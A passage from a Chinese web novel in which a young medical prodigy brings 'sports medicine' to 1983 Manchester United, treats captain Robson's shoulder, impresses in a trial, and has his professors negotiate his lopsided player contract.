摘要：本文旨在探讨运动医学作为一门新兴交叉学科，在现代职业足球运动中的关键应用价值与实践路径。 研究将聚焦于损伤预防、机能优化与高效康复三大核心领域，以科学化、数据化、个体化的主动干预模式，取代传统依赖经验与被动治疗的陈旧模式，从而全面提升运动员的竞技表现并显著延长其职业生涯周期。 关键词：运动医学；足球；损伤预防；表现优化；生物力学；营养学】 奥丽薇亚回头，跟苏珊娜对视。 两人的视线又很快分开，继续低头看这篇论文。 论文不长，只有四个章节，但两人却看了很久很久，窗外传来孩童嬉笑打闹的声音，书房里却格外安静。 “他的这篇论文，再优化一下，”奥丽薇亚垂下眼眸，“应该能拿到我们医学院今年的“亚历山大.弗莱明”青年研究奖。” 苏珊娜跟着点头，随后追问道：“那要优化哪里？我刚刚没发现什么问题。” 奥丽薇亚：…… 奥丽薇亚很想骂人，但她想到这个气人的苏珊娜是汤姆的阿姨后就忍住了，“优化一下字迹和标点符号。” 苏珊娜默默抬头翻了个白眼。 “苏珊娜！” “唉，院长！”苏珊娜连忙弯下腰，脸上堆满了笑容，“怎么了？还有什么事情吗？” “你不打算跟我讲讲汤姆还跟你说了什么吗？” 一说到这个，苏珊娜立即来劲了，在书房里开演，声情并茂地给奥丽薇亚还原了一下当时的场景。 “我觉得汤姆说得很对，他提出的这门全新的学科想要在短时间内被众人熟知，那最好的办法就是让汤姆，这个真正践行了自己理论的人亲自去英甲踢球。” 奥丽薇亚瞥了一眼苏珊娜，似笑非笑，“你真是这么想的，还是说，想让汤姆他成为我们英国史上最年轻的教授？” 苏珊娜笑了起来，“院长，我们曼彻斯特医学院可是很久都没有出现什么新星了。汤姆他有能力，有毅力，他甚至创造性地提出了运动医学这一学科，为我们曼彻斯特大学医学院又增加一门新的，注定前途无限的学科。” “一个前无古人的学术神话，一个被公认的学术神话，是我们曼彻斯特医学院的教授，院长，”苏珊娜压低了声音，“合并计划上面可一直都在喊，我们能不能在合并之后的机构占据上风，那就看汤姆他能走到什么地步了。” 奥丽薇亚不为所动，“那可是很久之后的事情了，苏珊娜。那个时候，我可能都已经去见上帝了。” 苏珊娜没回这话，而是转头提到了另外一个话题，“刚刚上楼的时候我看见了诺拉，她是一个聪明的小姑娘，听说从小就喜欢医学。” “还有诺里斯，他不是喜欢足球吗？一个踢足球的医学教授，这可是一个很好的榜样，不是吗？” 奥丽薇亚抬头看向苏珊娜，用一种“我真拿你没办法”的语气道：“曼联足球俱乐部与曼彻斯特大学联合聘任的‘首席运动科学馆’，你觉得这个头衔怎么样？” “我想汤姆他应该会很开心。”苏珊娜笑着挽起奥丽薇亚，“走吧，也许我们应该庆祝一番？” “当然，这件事很值得庆祝。” …… …… 就像杰瑞说的那样，在1980年代的英格兰足球体系里，圣诞节前后是绝对不可能安排试训的。 “圣诞快车”的赛程，短短一周时间球队就要踢2~3场联赛，这是整个赛季最密集、最残酷的赛程，球队上下所有工作人员都在全力备战，处于体能极限的球员都在忙着恢复，教练怎么可能在这个时候安排人试训？ 万一试训的时候那野蛮的粗鲁小子没个轻重给球员直接给干成伤病了咋办？那就干脆不办！ 不但不办，曼联的主教练罗恩·阿特金森还直接放话：这个礼拜所有球员都要待在俱乐部，不允许随意外出以免遇到不必要的麻烦。 当然，你非要外出的话阿特金森也能同意，但你后面就别想再上场了。 对于自家教练的这个要求，所有球员都没有异议。不过即使球员们都这么听话了，他们也没能让阿特金森露出个笑脸。 无他，曼联已经连续“输了”两场比赛了。 12月26号跟米德尔斯堡的客场比赛，他们曼联长途跋涉前方寒冷的河畔球场，输了。 12月27号是在他们主场老特拉福德球场跟米德尔斯堡踢，1：1，平了。 在主场踢平，这跟输了有什么区别？阿特金森当时站在球场上真的都恨不得自己冲上去干翻对面球员了。 12月28号，让阿特金森更加恼怒的事情出现了：俱乐部高层，说是跟曼彻斯特大学搞了一个什么活动，让他们过来看看球员——fxxk！ 煞笔高层！俱乐部的球员就是用来卖的吗？刚结束了两场艰难的比赛，那身体都还没恢复，1月1号还有场跟利兹联的比赛，你现在让他们出去卖笑，那曼彻斯特大学到底给了你们多少钱？ 阿特金森骂骂咧咧地带着助理教练埃里克·哈里森站在外面迎接曼彻斯特大学的一群大冬天不在家好好呆着，非要跑来看他们曼联球员的大煞笔们！ 埃里克·哈里森用胳膊撞了撞阿特金森，“不要板着脸啊，笑一下吧教练。” “笑不出来。” “这是好事啊！听说是曼彻斯特大学医学院的人，说是有一个什么新兴学科叫什么，运动医学，能帮助我们球员更好更快的恢复自己的竞技状态。” 阿特金森有些诧异，“你怎么知道的？” “嗯~”埃里克·哈里森耸了耸肩膀，“就问了一下朋友，听说负责人是个只有20岁的年轻人，如果他在我们曼联的实验能够成功的话，那他或许会是第一个在20多岁就当上教授的绝顶天才！” “实验？”阿特金森十分擅长抓取关键词，“他拿我们当实验品啊？” “那倒不是。”埃里克·哈里森摆摆手，“听说第一个试验品是他本人，三年前去试训曼城但因为身体太过瘦弱对抗不行被拒绝了。现在好像是通过运动医学成为了一个合格的足球运动员。” “对了，医学院那边说在结束交流后顺便给他试训一下，但是不要让他通过。” 阿特金森站在原地摸着下巴，若有所思。 “来了！”埃里克·哈里森提醒了一下旁边站桩的阿特金森后立即上前，脸上堆满了笑容。 “欢迎欢迎！欢迎你们的到来！我们的球员可是一直盼着你们来帮助他们啊！”埃里克·哈里森抬头，一眼就锁定了那个在人群中最年轻帅气的人，“这位就是汤姆.阿利斯泰尔.沃森先生吧？你好，你好，欢迎你的到来。” 其实埃里克·哈里森能一眼认出顾沂还有个主要原因：除了顾沂之外的人都穿着西装，就顾沂一个人穿着运动套装——他是真来参加试训的。 …… 曼彻斯特大学医学院同曼彻斯特联合作，邀请顾沂成为首席运动科学官。 苏珊娜说顾沂试训只是走个过场，他之后会正式在曼联参加比赛，以“运动医学专家”的身份，身体力行地向世人证明他们曼彻斯特联大学医学院的新学科是多么的牛X！ “你好教练。”顾沂同埃里克·哈里森握手，随后偏头看向了另外一个人，“你好，阿特金森教练。” 阿特金森十分淡定地点了下头，“你能让我的球员恢复状态？” “这得看球员们个人实际情况，”顾沂坦言：“不然我无法回答这个问题。” “那走吧，”阿特金森抬抬下巴，“跟我去看看他们吧。” 埃里克·哈里森笑着接待跟着顾沂一起过来的学院老师们，“各位教授，我们也一起过去吧。” …… 更衣室中，因为连着两场比赛都没踢好，球队氛围有些凝固。 连着两场比赛，在至关重要的圣诞赛程，一场都没赢。曼联球迷没有朝他们扔东西打砸，而只是骂他们在这个时代来说已经完全称得上是溺爱了。 “队医呢？”队长布莱恩·罗布森抬手揉了揉自己的肩膀，“我肩膀又开始疼了。” “早就说了让你直接打止痛针了。”一旁的雷·威尔金斯抬了抬自己的腿，“瞧我，刚打完，一点都不疼。一会儿还要训练呢，你要是被二队那群小子撞飞，以教练现在的怒火你肯定会被骂的。” “也是。”罗布森叹了口气，“米德尔斯堡那群家伙知道我肩膀旧伤犯了就一直故意撞我。” 威尔金斯抬手摸了摸自己的鼻子，没说话：说什么？说要是队长昨天你没把对方球员放过去的话，那我们曼联就能赢？那他这不就是在找骂吗？ 罗布森起身准备去找队医埃米，这是他们曼联最好的队医，每次打封闭针和止痛针的时候下手都特别轻，理疗也做的很好，是罗布森最信任的队医。 “埃米……”罗布森推开门走了出去，刚一抬头就看见了一张格外帅气的面孔，“你是——演员吗？你们来拍什么？” “汤姆.阿利斯泰尔.沃森，”顾沂朝着罗布森伸出了手，“你可以叫我汤姆。” “哦，好的，汤姆……” “罗布森先生！”队医埃米连忙凑了上来，开真空解释：“这位是曼彻斯特大学医学院的高材生，他是来给我们球员看伤病的。” “是吗？”罗布森没有在意，笑着看向顾沂，“那正好，我想打个止痛针，一会儿就要训练了，你帮我打，让我看看你的手法。” 顾沂眼角抽了抽，“打止痛针踢训练赛？” “小子！”罗布森抬手拍拍顾沂肩膀，“知道我们这些球员平 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罗布森跟上顾沂，埃米叹了一口气扭头看向更衣室门口那探出来的脑袋，“你们也一起来吧。” …… 主教练阿特金森办公室 顾沂一进门就直接走向了自己的几位老师，低头交代了几句后看向阿特金森，“教练，麻烦让人拿一个健身垫到办公室来。” 阿特金森眼前一亮，“你找到问题了？” “本来没有把握，但看到他之后感觉有点。” 垫子还没送来，罗布森就已经推开门走了进来，他看向阿特金森，还没来得及开口就被顾沂叫住了。 “罗布森先生，请问你可以现在就做一个手臂过顶挥动的动作吗？” 罗布森看向阿特金森，后者立即点头：快点做啊臭小子！就算你面前这家伙不行，但今个儿这旁边可还坐了几个真正的能人呢！ 罗布森臭着脸挥动手臂，顾沂走到他旁边道：“继续，不要停。” 在罗布森有些恼怒的眼神中，顾沂拇指十分精准地摁在了罗布森肩胛骨的内侧缘靠近脊柱的位置，手上微微用力，“是这里酸胀吧？” “啊？”罗布森感受了一下那种痛，顿时瞪大了眼睛，说话都有点结巴了，“好像，是，是这里啊……” 顾沂回头看向队医埃米，“平时怎么看的？” 埃米莫名紧张，“就，就过去几年一直在给他的肩膀打封闭和理疗。罗布森不太喜欢打封闭所以就大部分时间一直在理疗，有时候会打止痛针。” 顾沂轻轻叹了口气，“伤不在肩膀，在后背，这怎么查的？” 埃米呆住了，“后背？怎么会是在后背？他就是肩膀痛啊。” “这很明显，罗布森先生的前锯肌和菱形肌力量不平衡，所以在他抬手的时候，肩胛骨无法稳定旋转，所以就把压力全都给到了肩膀前侧的关节囊和韧带。” 埃米：？？？ 不是！这到底哪里明显了啊喂！ “罗布森先生，”顾沂转过身看向罗布森，“稍等一下，等垫子被送过来后我帮你做一下简单的激痛点松解和肌肉激活。” 罗布森立即点头，十分乖巧。 很快，垫子被送了过来，顾沂让罗布森侧卧，随后用肘部精准按压罗布森肩胛骨下角附近前锯肌的激痛点，整个过程持续了30秒。 有点痛，但罗布森咬牙忍住了。 “好了，坐起来吧。肩胛骨前伸会吗？” 罗布森点头，顾沂左右搜寻了一圈后看向挤在办公室门口的球员，“来一个人帮忙。” “我我我！”威尔金斯连忙从人群中挤了出来，“让我帮帮队长吧！” 顾沂让威尔金斯坐在罗布森对面，用手抵在胸前，然后让罗布森去推他，而威尔金斯则是要用手将罗布森推回去。 “罗布森先生，对抗他的手，用你的肩胛骨推开他。” “不对，不是这块肌肉。”顾沂将手摁在罗布森肩膀上，“是这块肌肉。” “不对，重来，偏了。” “对了，很棒，就是这块肌肉发力，记住这种感觉，再来一次。” 一分钟后，顾沂喊停。 “可以了，现在活动一下肩膀，做几个挥臂动作，挥臂的时候记住刚刚的那种感觉。” 罗布森将信将疑，但很老实地活动了一下肩膀：WTF？ 罗布森立即挥动胳膊，脸上的难以置信是那么的明显，“我这，我刚刚……嗯，好像，比之前轻松了很多？好像，更灵活了？我……那个，嗯……抱歉！” 罗布森二话不说立即大声道歉，“我之前误会了你！你简直是整个英格兰最好的医生！我可以请你成为我的私人医生吗？我有钱……” “抱歉，”顾沂打断了罗布森的话，“罗布森先生，我是来试训的球员，不是医生。” 罗布森蹭地一下抬起头，嗓音都因为惊讶而变得有些尖锐，“球员？！” 顾沂淡定点头，“一会儿就试训。” 罗布森扭头看向主教练阿特金森，后者立即笑了一下，罗布森没能明白这啥意思，不过他选择遵循本心，准备一会儿让队友给他们亲爱的医生放点海。 “就别一会儿了。”阿特金森站了起来，笑着走到顾沂身边拍拍他的肩膀，“现在就去试一下呗，正好他们都闲着呢。是吧？” 门口的球员们立即点头：是的！非常闲！甚至其实我们今天到现在还没有开始训练就是在等我们亲爱的医生，呸！亲爱的队友的到来。 队长！你不用瞪我们！你的意思，我们都懂的~ …… …… 就这样，一场原本压根不会出现的试训出现了。 分队的时候，顾沂这边甚至全都是球队首发主力球员。 曼联原本负责试训的埃里克·哈里森看到眼前这一幕眼皮子跳了跳，有些无奈地扭头看向阿特金森，后者对着天空吹了一声口哨，完全没有半点不好意思。 “教练……” “嘘！快闭嘴！”阿特金森一把搂住埃里克·哈里森的的肩膀，压低声音道：“我们当然得留下他了！他就是喜欢足球而已，让他在垃圾时间上场转两圈换回来一个超厉害的医生，我们赚翻了好吗？” 埃里克·哈里森叹气，“他是天才医生，但同时还有一个名号是足球疯子，他在足球上可没什么天赋……” 阿特金森听着埃里克·哈里森的话随意点着头，视线却落在了球场上的球员们：给顾沂安排的队友都是厉害的，顾沂的对手不仅不强还会放水。 总之一句话：这个医生，啊呸，这个球员，他们曼联要定了！ 球场上，没什么天赋的顾沂在中圈附近接到队友的传球，对手立即上前逼抢，顾沂一个简洁的拉球转身晃掉对方，抬头，发现了一个已经启动了反越位前插的队友贝拉米。 防守球员本森下意识移动封堵住顾沂的传球线路，抬头正要观察顾沂位置就发现附近的队友在此刻都转过头瞪着他。 本森心中暗骂自己这该死的肌肉记忆，但正当他要“不小心让开”的时候，顾沂用右脚外脚背搓出了一记过顶弧线球。 足球越过本森，越过了对手的整条后防线，落在了贝拉米面前。 贝拉米卸球，单刀，轻松推射破门。 “WTF？！”阿特金森转过头一把抓住埃里克·哈里森的肩膀，“你刚刚跟我说什么？他没有足球天赋？哈里森，睁开你的眼睛看着我！告诉我！刚刚那球是什么！他的视野也太**的广了吧！” “嗅觉也很灵敏，这恐怕是贝拉米接过最舒服的一个传球吧！” 贝拉米：确实如此。 阿特金森见猎心喜，站在场边大手一挥，示意顾沂的对手球员们大举压上。 但顾沂没给他们将足球带到禁区的机会，在中场附近将足球断下，接着带着足球向前推进。 在距离球门25码处，顾沂急停，抬起左脚，作势传球，后卫立即上前封堵住顾沂的传球路线，顾沂收回脚，右腿轻轻摆动抽出一记贴地斩。 足球紧紧贴着草皮钻入球门左下死角，门将对此毫无反应：不是？你小子来真的啊？ 全场安静了一秒后立即爆发处惊呼声，几乎所有场上的球员全部都冲向了顾沂要跟他来点亲密接触。 “太酷了汤姆！这球射的太漂亮了！” 上帝啊！汤姆，你以后真的就是我们的队友了吗？我也太幸福了吧！” “汤姆！汤姆！汤姆！” 球场边，阿特金森深吸一口气，随后转身以百米冲刺的速度跑回办公室，拿出新球员最顶薪的合同，带上笔就要回到球场上让顾沂赶紧把字给签了：这**的还真**的是个大宝贝！得赶紧揽到菜篮子里来！ “阿特金森先生，”对足球没兴趣，就坐在办公室里等顾沂伤心归来的克赖顿.雪莱察觉到不对，站起来拦住了阿特金森，“您这是要去做什么呢？” “哈哈，”阿特金森笑着挠了挠头，“那什么，其实我也不想的，但这孩子的足球天赋实在是太惊人了，他自己又喜欢足球，我们这些做大人的总不能拦住一个想要实现自己足球梦的孩子，你们说是吧？” 克赖顿.雪莱不说话，只是往前走了一步，更加逼近阿特金森，“跟他的医学天赋比起来，他在足球上面那一点点微不足道的天赋也值得你这么感慨吗？唉吆，抱歉，我东西掉了。” 一把明晃晃的手术刀从克赖顿.雪莱的袖口中掉了下来，后者缓缓扬起一个笑容，“阿特金森先生，作为一个医生，我随身携带一把手术刀，这很合理吧？” 阿特金森眼睛直勾勾地盯着地上的手术刀，十分勉强地扯了扯嘴角，“很，很合理。” 旁边坐着的老师们也站了起来，手术刀啪啪啪掉在了地上。 克赖顿.雪莱笑着点点头，“大家都是医生，你体谅一下喽~” 阿特金森默默点头，心中却愈发坚定了自己的想法：他，一定，一定！要把汤姆给签下来！ 现在这份合同的薪水还不够，人家伦敦皇家医院给年轻教授的薪水是多少，他们就要翻倍！翻倍！不然汤姆就要被伦敦皇家医院给挖走了。 至于这群老师？哼~不足为惧。 要是他们心里有底也不会来威胁他这个可怜的教练，想让他做一个坏人来拒绝汤姆了。 阿特金森心下用力冷哼一声，脚步却瞧瞧往旁边挪了一下，避开了“不小心”掉在地上的手术刀的尖尖。 “咚咚咚。” 顾沂站在门口敲了敲门，“老师，教练，你们在吗？” “在呢！”阿特金森心中立即有了底气，立了一声，快步上前一把拉开门，“汤姆你终于来了，你的老师们刚刚……” 阿特金森一边说这话一边回头，然后发现这些老师全都笑着凑了上来，将他直接挤到了办公室外面，围着顾沂，十分亲切地跟他说着话。 “汤姆，你的试训过了吗？” “嗯嗯，应该过了。”顾沂点头，“大家都说我很厉害。” “那太好了汤姆，我真心为你感到骄傲。” 顾沂笑得很开心，“谢谢老师！” 阿特金森：…… 真应该找家电视台曝光你们这些家伙可恶的嘴脸！ 5. 第 5 章 虽然阿特金森在心里不停吐槽这群曼彻斯特大学医学院老师们的表里不一，但此时此刻，阿特金森还挺感谢他们这“表里不一，还要点脸”的行为。 阿特金森：现在，就现在，汤姆就站在我的身后，假如我现在拿出手上这份合同要跟汤姆谈谈，各位该如何应对呢？ 你们只能眼睁睁地看着汤姆跳进我的菜篮子里哇哈哈哈哈~ 阿特金森在心里笑出反派的声音，他快步上前，挤开围着顾沂的老师，拿出合同，“汤姆，我们来谈谈你的合同问题……” 这话还没说完，克赖顿.雪莱就直接抬手从阿特金森的手中抽走了合同。 “合同问题怎么能直接跟孩子谈呢？阿特金森先生，你该不会是想骗汤姆白白踢球吧？” 阿特金森愣了一下，正要开口解释就被克赖顿.雪莱直接抢白。 “合同我就先拿走了，明天我们会找律师来跟你们谈汤姆的合同问题，希望你们曼联做好准备。” 这个时候，阿特金森还不明白克赖顿.雪莱这句“做好准备”是什么意思：他当教练这么多年了，什么律师没见过？再说了，他们曼联现在这边负责球员合同问题的律师们那一个个可都是行业精英，什么大场面没见过？ 做好准备？我直接不准……咳咳！好吧，还是要准备一下的，万一对面也准备了一个很厉害的律师来谈合同呢？ 值得一提的是，这个时候的英格兰足坛跟后现代足球中的“主教练”和“体育总监”分权的模式不同，几乎所有的球队主教练都兼任了经理，而且是权利极大的经理：竞技权和转会权属于他一个人。 这也就是说，一线队和青训的所有训练、战术、战场指挥，球员的买入、卖出、续约和谈判都由阿特金森一人负责。 原本阿特金森就是想找俱乐部经常合作的律师给顾沂提高一下周薪待遇而已，听了克赖顿.雪莱的话，阿特金森直接回到办公室给曼联经常合作的三位律师都发出了邀请，请他们明天来到现场同顾沂这边请来的律师谈判。 “现在一线队主力球员的周薪在300~800英镑之间，”阿特金森对自己的条件很有自信，“我们曼联给汤姆可以给到最高800周薪，不过你们可以先按500周薪谈。” 阿特金森已经想好了，当顾沂这边就要以500周薪的工资签下合同时，他突然站起来一拍桌子，大吼一声：“不行！像汤姆这样的球员，我认为他就应该拿800周薪！” 想到自己明天能收到顾沂那崇拜的小眼神，阿特金森心里就爽的不行。 12月29日 曼联，会议室。 顾沂同曼彻斯特法学院的三位老师坐在一起，而在他们的对面坐了几位年轻律师，主教练阿特金森以及曼联主席马丁·爱德华兹。 几位年轻律师大概是身体不好，大冬天的愣是出了一身冷汗，时不时地抬起胳膊擦一擦额头的汗水，在阿特金森的示意下用尽量不颤抖的手拿出他们准备的周薪五百的一线队球员合同。 “尤利塞斯先生，我代表曼彻斯特联俱乐部向汤姆.阿利斯泰尔.沃森先生……” “不用看了，特纳。”尤利塞斯直接开口道打断了特纳的话，将自己准备的合同递了过去，“这是我们准备的合同，签下他，汤姆就是你们的球员。” 阿特金森立即皱起了眉头：这老头说话怎么这么不客气呢？他当自己是英国首相呢？特纳，别傻愣着了，快拿出你精英律师的风采啊！ 特纳没说话，勉强扬起一个让自己看上去能专业一点的笑容，随后接过合同低头看了起来。 周薪：1600英镑 出场费：400英镑/场 赢球奖金：600英镑/场 进球奖金：200/球 运动医学实践津贴：10000英镑 特纳额头又开始冒汗，他生怕自己是眼花了仔细这薪酬看了一遍又一遍，心中十分无奈：不是？这让他怎么说？这位汤姆学弟的薪酬比罗布森这位现役英格兰足坛顶薪球员的薪水还要高啊！ 而且除了这个，还有什么？仅仅持续一年的合同？不能使用其肖像权？要保证更衣室地位，球队球员不能使用任何侮辱性动作和词汇来对待汤姆，如果发生，汤姆的一切反击都会被视为正当防卫。 然后呢？这就没了？ 特纳将合同往后翻了翻，确认没再看到其他内容后抬起头看向尤利塞斯，“尤利塞斯先生，我想这份合同上还有自动续约选项，离队违约金条款以及最重要的出场次数保证，你觉得呢？” 坐在尤利塞斯旁边的麦克菲尔逊抬手推了推自己的眼镜，开口回道：“你没有看到吗？合同只有一年，不用续约，也用不上违约金条款。” “出场保证也不需要，不过你可以在合同上面加上一条，是否上场由汤姆本人来决定。如果他不同意，那任何人都没有权利强行让他上场比赛。” 特纳努力扬起一个专业的笑容，随后十分顺手地将手上的合同交给旁边的阿利克，“我对于这份合同没什么问题了，阿利克，你可以看一下再提点建议。” 阿利克：？！ 特纳我*****！！！ 阿利克在心里骂骂咧咧地接过了合同，低下头匆匆翻阅一遍后又将合同递给旁边的格林，“格林，到你提出意见了。” “既然两位前辈没有意见，那我也没什么意见。”格林直接选择不看合同，将合同递给阿特金森，“教练，你看一下啊，如果没有什么其他问题的话我们就可以签约了。” 阿特金森：？？？ 不是？你们三个闹着玩呢？ 拿出你们三个当时跟从西布罗姆维奇谈转会费，跟罗布森的经纪人谈合同时那个气得对面律师脑袋直冒烟的劲来啊！ 事已至此，阿特金森只能先低下头看手上这份合同：万一合同压根没什么问题，只需要……WTF？！ “这怎么可能！”阿特金森立即炸毛，“是，我承认他在足球这方面确实很有天赋，但这也不是他刚一来到球队就能拿到顶薪的原因。你们这样让罗布森怎么想？让其他一线队球员怎么想？让……” “他们怎么想你们要处理的问题。”一直没说话的第三位老师康拉德开口了，“这就是我们准备同俱乐部签的汤姆的球员合同，如果不同意的话那就不用签。” “不过请不要担心，”康拉德抬头看向一旁一直坐着没说话的俱乐部主席马丁·爱德华兹，“我们曼彻斯特大学医学院跟你们俱乐部合作的项目仍旧会继续，汤姆会作为首席运动科学官时不时来到曼联帮助你们的球员。” 阿特金森直接呆住：不是？你在说什么？你到底在口出什么狂言啊？这种事情难道不是大家吵来吵去，讨价还价之后定下一个合适的价格吗？ 怎么就直接不同意就算了？啊？ 汤姆！汤姆就在这里坐着呢你们直接就说这种话？你们是想毁了这个孩子的足球梦吗？ 阿特金森立即扭头看向顾沂，却十分绝望地发现顾沂竟然笑着点了下头，看那样子显然十分认可这个说法。 阿特金森：？不是？你不是足球疯子吗？你不是爱足球爱的死去活来吗？ 顾沂当然满意，甚至满意得不能再满意了：他第四阶段在现实当中的训练只需要一年时间，一年之后他所有的训练完成就可以功成身退了！ 当然了，足球还是可以继续踢的，这会是他顾沂，一个年轻的医学教授的唯一爱好，并且这个爱好将会持续终身！ 有那个可能会突然出现的系统精灵的原因，当然也有顾沂现在大多数时候，不，有时候，有时候觉得这踢足球，怎么会这么有意思呢？ 把足球踢进球门的那一瞬间很爽，站在球场上俯瞰全场，让足球绕过所有障碍将足球精准送到自己想要的地方那一瞬间很爽。 尤其这里是英格兰，大家踢球都喜欢下黑手。在曼彻斯特的大街上，你打架会被带进警察署。但如果你在英格兰联赛球场上，那球迷将会竖起大拇指夸：嘿，你他娘的还真是个人才。 顾沂察觉到了主教练阿特金森朝他投过来的视线，但他假装自己没有察觉到，抬头看向了那个能最后决定今天这场谈判最后走向的男人：曼联现任主席，马丁·爱德华兹。 “好，”马丁·爱德华兹直接点头，“可以签，我希望你们曼彻斯特大学医学院的新学科运动医学真的会为我们曼联带来新的改变。” 马丁·爱德华兹是曼联传奇主席路易斯.爱德华的儿子，也是曼联俱乐部的实际拥有者，跟他的父亲相比，他更像是一个商人。 就像现在，当马丁·爱德华兹将合同看完后，他唯一的疑问只有，“其实像汤姆这样的长相，只要他踢上一场球，那整个英格兰都会为之疯狂的，肖像权……” “抱歉。”尤利塞斯打断了马丁·爱德华兹，“汤姆他虽然会是一个球员，但这是他个人的一点小爱好而已。他在未来，会是我们曼彻斯特大学医学院的教授。” “你今年才20岁吧？”康拉德这时候偏头看向顾沂，“再过几十年的话，可能会是院长？” 顾沂有些害羞地笑了笑，低下头没接话茬。 不过这话也不是说给顾沂听的，而是说给马丁·爱德华兹听的：汤姆.阿利斯泰尔.沃森，我们曼彻斯特大学未来的院长，你要把他的肖像权商用印成球星卡放进烟草跟糖果盒子里，你在开什么玩笑？！ 马丁·爱德华兹笑容一僵，随后立马更大声地笑了起来，“是，确实，这恐怕有些不合适。汤姆先生这么年轻就是真正的国家资产，他的肖像确实不应该出现在一些不合时宜的场合。” “你能理解就好。”尤利塞斯瞥了一眼律师特纳，后者立刻将手中的笔递给马丁·爱德华兹。 “合作愉快。” “合作愉快。” 最后，顾沂扭头看向阿特金森，“教练，下午见。” 阿特金森努力挤出一个笑容，“其实你可以在元旦节过后再来的。” “没关系，”顾沂摇摇头，“我很乐意早点来。” 阿特金森上前一步单手握住顾沂的手同他拥抱了一下，随后分开抬手拍了下顾沂的后背，“好，那就下午见。” 目送顾沂一行人离开会议室后，曼联主席马丁·爱德华兹也跟着站了起来。等他人走到门口的时候突然想起了什么，回头看向阿特金森。 “阿特金森教练，球队更衣室中总是会有一些上不了台面的陋习，我认为这些恐怕不太方便展示在汤姆先生面前，你以为呢？” 阿特金森默默点头，“当然，我知道的。” “那就好，希望我们这个赛季会有一个不错的成绩。” “当然。” 马丁·爱德华兹最后又笑着点了一下头后便离开了会议室，留下阿特金森转过头盯着三名律师看。 “你们三个没什么要说的吗？” “今天的律师费可以退给你们。”特纳率先开口，“尤利塞斯先生是我的恩师。” 阿利克耸耸肩膀，“是的，麦克菲尔逊先生是我的恩师。不过这也不能怪我们，应该是你们昨天请我们三个人时候就从律所老板那里知道这件事了吧。” “不是应该，是事实。”刚刚最后一位发言的格林露出一个十分惨淡的笑容，“康拉德教授是我的父亲。” “格林！”特纳立即扭头看向格林，“是你？” “拜托！”格林向后退了一步，“我也是受害者，你们知道当我来到这里想要跟对面唇枪舌战，却看到我爸坐在我的对面时，我是什么心情吗？” 阿特金森深吸一口气，感觉自己有点缺氧：他是不是错了？就不应该为了沾那点能给队员随时看伤病的小便宜而上头非要把汤姆签下来？ 他怎么感觉他这不是签了个球员，而是把他爷爷给签下来了啊！ “现在这种情况，你难道没有预料过？” 埃里克·哈里森对于主教练阿特金森现在这副“丢了魂”的样子有些不满，“我昨天看你那么兴奋，以为你早就知道了呢。” 阿特金森抬头看向埃里克·哈里森，“我早知道什么？” 埃里克·哈里森：…… “先生，你告诉我，你真的是我们英国人吗？” 阿特金森顿时没了声音，他出生在利物浦，长大之后在伯明翰和考文垂等工业城市，他比任何人都清楚一位“医学教授”的含金量。 在互联网前夜的二十世纪八十年代，医学知识高度专业化且难以获取。医学教授们更是医学界的“活神仙”，他们决定着医学教材的编写、前沿研究的走向甚至参与到政府医疗政策的制定。 每一个医学教授都是“国家资产”，是绅士阶层的典范，受到全社会包括王室和政要在内的普遍尊重。 “他现在还是个学生，但他已经负责了一个曼彻斯特大学医学院的新学科，他甚至可能不到30岁就成为教授，”埃里克·哈里森看着阿特金森轻轻叹了口气，“你确定现在不去更衣室里教导一下？” 阿特金森捂住脸，心情复杂：我把汤姆签进来到底是好事还是坏事？汤姆他这人到底好不好相处，万一他人不好相处呢？那我这也不能拿他怎么办……唉，真令人头疼！ …… …… 29号下午，顾沂再次来到了曼联，跟着他一起来的，还有一些常见的和不常见的医疗器械。 曼联球员们站在一旁围观工人安装器械，但他们很快被“突然出现”的阿特金森带走了。 “都给我精神点！”阿特金森挨个拍了拍所有球员的肩膀，“自己的东西自己拿，不要说什么更衣室的传统让新人拿东西，怎么，你们是自己没长手还是手断了？要不要我亲自帮你们拿啊？” “不要起哄非逼着人唱歌，怎么，不会唱歌就不让踢球了啊？你们这么厉害，我这个当教练的怎么不知道？” “还有，最最最重要的一点！”阿特金森沉着脸站到了所有球员面前，“嘴巴都给我放干净点！” “罗布森，”阿特金森单独点名，“现在带他们去热身，然后开始下午的训练吧。” “好的，先生！” 罗布森立刻带着曼联球员们开始慢跑，慢跑结束后就在原地拉伸，随后就直接开始训练了。 原本在一旁盯着工人安装的顾沂都惊呆了，连忙叫停就要开始进行高强度训练的曼联球员。 “都先等一下，你们需要重新热身。” 顾沂让几个工人拿了几根柱子，将工业级乳胶弹力带固定在上面，随后根据每个球员的个人身体素质让他们分别做弹力带侧向行走、弹力带划船等动态拉伸动作，激动臀中肌和背部肌肉。 “可以了。”顾沂点点头，“继续训练吧。” 阿特金森不明觉厉，等场上的球员们按部就班的训练了一会儿后偷摸把罗布森抓到一边询问，“你感觉怎么样？” “嗯……”罗布森挠挠头，“我感觉的话，我启动和变向的时候好像更快了。” 等下午的训练完成，阿特金森偷摸询问了所有球员，几乎每个人都感觉自己好像状态更好了点：因为连着两场比赛太疲惫了，稍微好一点就能感觉到。 训练结束后，队员们肌肉僵硬，队医们便开始用手按摩，顾沂见到后直接让人将他去年找车床工人定做打磨出来的筋膜刀，将曼彻斯特医学院分给他的两个开山大弟子叫到跟前让他们看着后就开始给队友们“上刑。” “有谁要先试试吗？” “那就我来吧。”因着之前的事情，罗布森对顾沂信任有加，所以直接自告奋勇上前，“我试试。” 顾沂拿起筋膜刀抬起了手，一秒后，罗布森发出尖锐的爆鸣声。 “啊！汤姆！你要杀了我吗？！” 顾沂很想往罗布森嘴里塞块白布，但这么做显然是不行的，他这个时候应该安慰一下罗布森，“别担心，刚开始是会很痛。” 罗布森眼泪汪汪，十分艰难地抬起头看着顾沂，“一会儿就不疼了吗？” “一会儿就习惯了。” 罗布森：！！！！ 这是1983年，后世有按摩机器，但现在没有，顾沂也不懂人家具体原理，系统空间是直接上黑科技——但现实中没有黑科技。 于是顾沂在附加模块提供的实验室中用“真人”做实验，在现实中一点一点摸索，最后倒是真的让他在这个年代搞出了很多平替。 “啊啊啊！！！” 罗布森尖叫着试完了，顾沂手刚一抬开，罗布森就直接跳了开来，愣了一下后又多跳了几下，“WTF？这玩意儿比埃米的手有劲多了啊！” “威尔金斯，”罗布森立即抬头看向自己的好兄弟雷·威尔金斯，“你快试试！这玩意儿真的比按摩有用！” 雷·威尔金斯：虽然但是，我现在怀疑你是故意想骗我上当的，这非常符合常理吧？！ “不了，”雷·威尔金斯讪讪地笑了一下，“那个，要不，我自己给自己刮？” 